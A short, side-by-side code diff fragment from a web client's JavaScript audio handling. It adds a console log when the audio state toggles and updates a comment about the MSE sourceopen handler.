_addSourceBufferAndInit(); _addSourceBufferAndInit();
} }
// else: sourceopen handler will pick up audioFormat when it fires // else (MSE): sourceopen handler will pick up audioFormat when it fires
console.log('[Audio] Format → ch=' + fmt.channels + console.log('[Audio] Format → ch=' + fmt.channels +
' sr=' + fmt.sampleRate + ' compression=' + fmt.compression); ' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
} }
@@ -3079,7 +3242,11 @@
// authoritative — toggleAudio() does not flip state locally; it only // authoritative — toggleAudio() does not flip state locally; it only
// sends the request and waits for the audio_state broadcast. // sends the request and waits for the audio_state broadcast.
function applyAudioState(enabled) { function applyAudioState(enabled) {
const prev = audioEnabled;
audioEnabled = !!enabled; audioEnabled = !!enabled;
if (prev !== audioEnabled) {
console.log('[Audio] ' + (audioEnabled ? 'enabled' : 'disabled'));
}
const btn = document.getElementById('btn-audio-bar'); const btn = document.getElementById('btn-audio-bar');
if (btn) { if (btn) {
// 0x1F50A speaker / 0x1F507 muted speaker // 0x1F50A speaker / 0x1F507 muted speaker